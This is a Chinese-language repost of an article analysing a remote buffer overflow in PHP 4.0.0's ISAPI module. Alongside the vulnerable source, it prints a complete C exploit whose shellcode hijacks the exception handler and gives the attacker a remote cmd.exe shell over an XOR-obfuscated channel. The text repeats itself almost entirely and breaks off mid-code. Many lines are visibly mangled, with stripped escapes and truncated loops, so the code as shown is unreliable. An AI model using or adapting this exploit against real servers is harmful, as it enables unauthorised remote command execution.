php4.0.0遠端溢位原始碼分析與測試程式 (轉)
php4.0.0遠端溢位原始碼分析與測試程式 (轉)[@more@]4.0.0才出來的時候,我們測試發現php4is.dll有緩衝,下面是php4is.c的相關:
static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
D variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);
/* Register the standard ISAPI variables */
while (*p) {
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
} else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
}
efree(variable_buf);
}
p++;
}
/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地,緩衝溢位。此時的variable_len變數已經是上次GetServerVariable 的返回變數 */
/* php4.0.3 已經修補 */
#endif
&& static_variable_buf[0]) {
php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);
/*
因為形參被覆蓋,而這形參又很難偽造,所以傳統的溢位因為這個呼叫不能返回而無效
但我們可以使用異常結構攻擊,可以參見我的相關的文章
*/
}
/* Register the internal bits of ALL_HTTP */
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, "rn", &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');
if (colon) {
char *value = colon+1;
while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
*colon = ':';
}
variable = php_strtok_r(NULL, "rn", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}
因為形參的問題,採用的覆蓋異常處理結構的辦法使得code程式碼得到控制。但因為異常結構程式碼相對不統一,可能需要根據被攻擊的版本調整相關引數。具體攻擊測試程式碼:
/*
php4.0 overflow program php.c ver 1.0
copy by yuange 2000。08。16
*/
#include
#include
#include
#include
// #define DE
//#define RETEIPADDR eip
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080
#define PORT 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="LoadLibraryA""x0""CreatePipe""x0"
"CreateProcessA""x0""CloseHandle""x0"
"PeekNamedPipe""x0"
"ReadFile""x0""WriteFile""x0"
"Sleep""x0"
"cmd.exe""x0""x0dx0a""exit""x0dx0a""x0"
"XORDATA""x0"
"strend";
char buff1[]="GET /default.php4";
char buff2[]=" HTTP/1.1 nHOST:";
char *fnendstr="x90x90x90x90x90x90x90x90x90";
char SRLF[]="x0dx0ax00x00";
char eipjmpesp[] ="xb7x0exfax7f";
// push esp
// ret
char eipexcept[]="xb8x0exfax7F";
// ret
char eipjmpesi[]="x08x88xfax7F";
char eipjmpedi[]="xbex8bxfax7F";
char eipjmpebx[]="x73x67xfax7F";
// push ebx
// ret
/*
jmp ebx功能程式碼地址, 中文WINNT、中文WIN2000此地址固定
這是處於c_936.nls模組
win2000發生異常呼叫異常處理結構程式碼時ebx指向異常結構。winnt老版本是esi,可用7ffa8808,後面版本是edi,可用7ffa8bbe。
*/
char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS;
int result;
fprintf(stderr,"n PHP4.0 FOR OVERFLOW PROGRAM 2.0 .");
fprintf(stderr,"n copy by yuange 2000.8.16.");
fprintf(stderr,"n wellcome to my homepage .");
fprintf(stderr,"n welcome to http://www.nocus..");
fprintf(stderr,"n usage: %s [webport] n", argv[0]);
if(argc <2){
fprintf(stderr,"n please enter the web server:");
gets(recvbuff);
for(i=0;i if(recvbuff[i]!=' ') break;
}
server=recvbuff;
if(i/*
fprintf(stderr,"n please enter the offset(0-3):");
gets(buff);
for(i=0;i if(buff[i]!=' ') break;
}
offset=atoi(buff+i);
*/
}
result= Wtartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
/*
if(argc>2){
offset=atoi(argv[2]);
}
OVERADD+=offset;
if(offset<0||offset>3){
fprintf(stderr,"n offset error !offset 0 - 3 .");
gets(buff);
exit(1);
}
*/
if(argc <2){
// WSACleanup( );
// exit(1);
}
else server = argv[1];
for(i=0;i if(server[i]!=' ')
break;
}
if(i
for(i=0;i+3
if(server[i]==':'){
if(server[i+1]==''||server[i+1]=='/'){
if(server[i+2]==''||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i<=strlen(server);++i){
if(server[i-1]==''||server[i-1]=='/') server[i-1]=0;
}
d_=_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("n Can't get the ip of %s !n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]);
else port=WEBPORT;
if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"n connect err.");
gets(buff);
exit(1);
}
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memset(buff,NOPCODE,BUFFSIZE);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i temp=shellcodebuff[i];
temp^=DATAXORCODE;
if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp==''||temp=='0'||temp=='?'||temp=='%'){
buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0';
++k;
temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp;
++k;
}
// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;
/*
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+OVERADD+i,eipexcept,4);
}
memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
for(i=-40;i<0x40;i+=8){
memcpy(buff+OVERADD+i,"x42x42x42x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4);
}
memcpy(buff+OVERADD+i+8,"x42x42x42x42x61x61x61x61x61x61x61x61x61x61x61x61x5bxffx63x64x42x42x42x42",24);
// fprintf(stderr,"n offset:%d",offset);
/*
192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,"")==0){
memcpy(buff+OVERADD,eipwin9x,4);
fprintf(stderr,"n nuke win9x.");
}
if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4);
fprintf(stderr,"n nuke winnt.");
}
}
*/
sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"nn");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"xffx63x64");
strcpy(buff+sendpacketlong+OVERADD+i+20,"nn");
*/
// printf("n send buff:n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}
xordatabegin=0;
for(i=0;i<1;++i){
j=sendpacketlong;
fprintf(stderr,"n send packet %d bytes.",j);
// fprintf(stderr,"n sned:n%s ",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"n ok!n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"n recv:n %s",recvbuff);
}
}
k=1;
ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"n now begin: n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i SRLF[i]^=DATAXORCODE;
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k<0){
gets(buff);
k=strlen(buff);
memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
for(i=0;i lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
}
send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')
_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')
jmp next
getediadd: pop EDI
push EDI
pop ESI
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
llock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,DATAXORCODE
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
int *except[2];
FROC Sleepadd;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0;
FARPROC writeclient= *(int *)(ecb+0x84);
FARPROC readclient = *(int *)(ecb+0x88);
HCONN ConnID = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
int lBytesRead;
int lockintvar1,lockintvar2;
char lockcharvar;
SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜尋KERNEL32。DLL模組地址和API GetProcAddress地址
//注意這兒處理了搜尋頁面不在情況。
if(procgetadd==0) goto d;
for(k=1;k apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_H;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8;
writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) {
for(k=0;k lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
}
}
else{
lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead);
if(k!=1){
k=8;
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
Sleepadd(0x7fffffff); //僵死
}
}
else{
for(k=0;k lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i temp=shellbuff[i];
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}
static void sapi_isapi_register_server_variables(zval *track_vars_array ELS_DC SLS_DC PLS_DC)
{
char static_variable_buf[ISAPI_SERVER_VAR_BUF_SIZE];
char *variable_buf;
D variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
char *variable;
char *strtok_buf = NULL;
LPEXTENSION_CONTROL_BLOCK lpECB;
char **p = isapi_server_variables;
lpECB = (LPEXTENSION_CONTROL_BLOCK) SG(server_context);
/* Register the standard ISAPI variables */
while (*p) {
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, *p, static_variable_buf, &variable_len)
&& static_variable_buf[0]) {
php_register_variable(*p, static_variable_buf, track_vars_array ELS_CC PLS_CC);
} else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (lpECB->GetServerVariable(lpECB->ConnID, *p, variable_buf, &variable_len)
&& variable_buf[0]) {
php_register_variable(*p, variable_buf, track_vars_array ELS_CC PLS_CC);
}
efree(variable_buf);
}
p++;
}
/* PHP_SELF support */
#ifdef WITH_ZEUS
if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)
/* php4.0.0漏洞所在地,緩衝溢位。此時的variable_len變數已經是上次GetServerVariable 的返回變數 */
/* php4.0.3 已經修補 */
#endif
&& static_variable_buf[0]) {
php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);
/*
因為形參被覆蓋,而這形參又很難偽造,所以傳統的溢位因為這個呼叫不能返回而無效
但我們可以使用異常結構攻擊,可以參見我的相關的文章
*/
}
/* Register the internal bits of ALL_HTTP */
variable_len = ISAPI_SERVER_VAR_BUF_SIZE;
if (lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf, &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, "rn", &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');
if (colon) {
char *value = colon+1;
while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
*colon = ':';
}
variable = php_strtok_r(NULL, "rn", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}
因為形參的問題,採用的覆蓋異常處理結構的辦法使得code程式碼得到控制。但因為異常結構程式碼相對不統一,可能需要根據被攻擊的版本調整相關引數。具體攻擊測試程式碼:
/*
php4.0 overflow program php.c ver 1.0
copy by yuange
*/
#include
#include
#include
#include
// #define DE
//#define RETEIPADDR eip
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000
#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIM 19999999
#define LOCKBIGNUM2 13579139
#define SHELLPORT 0x1f90 //0x1f90=8080
#define PORT 80
void shellcodefnlock();
void shellcodefn(char *ecb);
void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);
int main(int argc, char **argv)
{
char *server;
char *str="LoadLibraryA""x0""CreatePipe""x0"
"CreateProcessA""x0""CloseHandle""x0"
"PeekNamedPipe""x0"
"ReadFile""x0""WriteFile""x0"
"Sleep""x0"
"cmd.exe""x0""x0dx0a""exit""x0dx0a""x0"
"XORDATA""x0"
"strend";
char buff1[]="GET /default.php4";
char buff2[]=" HTTP/1.1 nHOST:";
char *fnendstr="x90x90x90x90x90x90x90x90x90";
char SRLF[]="x0dx0ax00x00";
char eipjmpesp[] ="xb7x0exfax7f";
// push esp
// ret
char eipexcept[]="xb8x0exfax7F";
// ret
char eipjmpesi[]="x08x88xfax7F";
char eipjmpedi[]="xbex8bxfax7F";
char eipjmpebx[]="x73x67xfax7F";
// push ebx
// ret
/*
jmp ebx功能程式碼地址, 中文WINNT、中文WIN2000此地址固定
這是處於c_936.nls模組
win2000發生異常呼叫異常處理結構程式碼時ebx指向異常結構。winnt老版本是esi,可用7ffa8808,後面版本是edi,可用7ffa8bbe。
*/
char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS;
int result;
fprintf(stderr,"n PHP4.0 FOR OVERFLOW PROGRAM 2.0 .");
fprintf(stderr,"n copy by yuange 2000.8.16.");
fprintf(stderr,"n wellcome to my homepage .");
fprintf(stderr,"n welcome to http://www.nocus..");
fprintf(stderr,"n usage: %s
if(argc <2){
fprintf(stderr,"n please enter the web server:");
gets(recvbuff);
for(i=0;i
}
server=recvbuff;
if(i
fprintf(stderr,"n please enter the offset(0-3):");
gets(buff);
for(i=0;i
}
offset=atoi(buff+i);
*/
}
result= Wtartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
/*
if(argc>2){
offset=atoi(argv[2]);
}
OVERADD+=offset;
if(offset<0||offset>3){
fprintf(stderr,"n offset error !offset 0 - 3 .");
gets(buff);
exit(1);
}
*/
if(argc <2){
// WSACleanup( );
// exit(1);
}
else server = argv[1];
for(i=0;i
break;
}
if(i
for(i=0;i+3
if(server[i]==':'){
if(server[i+1]==''||server[i+1]=='/'){
if(server[i+2]==''||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i<=strlen(server);++i){
if(server[i-1]==''||server[i-1]=='/') server[i-1]=0;
}
d_=_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("n Can't get the ip of %s !n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}
if(argc>2) port=atoi(argv[2]);
else port=WEBPORT;
if(port==0) port=WEBPORT;
fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"n connect err.");
gets(buff);
exit(1);
}
_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}
shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memset(buff,NOPCODE,BUFFSIZE);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);
memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);
shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);
sendpacketlong=k+i;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;
}
for(i=0;i
temp^=DATAXORCODE;
if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp==''||temp=='0'||temp=='?'||temp=='%'){
buff[OVERADD+NOPLONG+k]='0';
// buff[NOPLONG+k]='0';
++k;
temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;
// buff[NOPLONG+k]=temp;
++k;
}
// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;
/*
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+OVERADD+i,eipexcept,4);
}
memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
for(i=-40;i<0x40;i+=8){
memcpy(buff+OVERADD+i,"x42x42x42x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4);
}
memcpy(buff+OVERADD+i+8,"x42x42x42x42x61x61x61x61x61x61x61x61x61x61x61x61x5bxffx63x64x42x42x42x42",24);
// fprintf(stderr,"n offset:%d",offset);
/*
192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,"")==0){
memcpy(buff+OVERADD,eipwin9x,4);
fprintf(stderr,"n nuke win9x.");
}
if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4);
fprintf(stderr,"n nuke winnt.");
}
}
*/
sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;
strcpy(buff+sendpacketlong,buff2);
